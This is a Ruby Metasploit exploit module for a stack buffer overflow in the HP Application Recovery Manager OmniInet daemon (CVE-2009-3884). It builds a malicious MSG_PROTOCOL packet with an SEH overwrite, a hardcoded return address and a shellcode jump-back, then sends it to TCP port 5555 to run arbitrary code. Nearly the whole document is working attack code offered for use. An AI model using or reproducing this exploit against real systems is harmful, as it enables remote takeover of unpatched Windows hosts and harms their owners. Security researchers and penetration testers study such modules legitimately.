HP Application Recovery Manager (OmniInet.exe) Buffer Overflow



class Metasploit3 < Msf::Exploit::Remote


    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in HP Application Recovery Manager OmniInet daemon.
                    By sending a specially crafted MSG_PROTOCOL packet, a remote attacker may be able to execute arbitrary code.
            },
            'Author'         => 'EgiX <n0b0d13s[at]gmail.com>',
            'References'     => 
                [ 
                    [ 'CVE', '2009-3884' ],
                    [ 'BID', '37250' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload' =>
                {
                    'Space'    => 4658,
                    'BadChars' => '\x00',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret
                ],
            'DefaultTarget'  => 0))

            register_options([Opt::RPORT(5555)], self.class)

    end

    def exploit
        connect

        off    = payload_space + 8
        sep    = "\x00\x00\x20\x00"

        buff =  "\x00\x00\x12\x67"                    # packet length 
        buff << "\xff\xfe\x32\x00\x36\x00\x37\x00"    # MSG_PROTOCOL command
        buff << sep + rand_text_alpha_upper(2)
        buff << sep + rand_text_alpha_upper(2)
        buff << sep + rand_text_alpha_upper(2)
        buff << sep + rand_text_alpha_upper(2)
        buff << sep + payload.encoded + generate_seh_record(target.ret)
        # jump back to shellcode
        buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
        buff << sep

        print_status("Sending MSG_PROTOCOL packet")
        sock.put(buff)

        sleep(5)
        handler
        disconnect
    end

end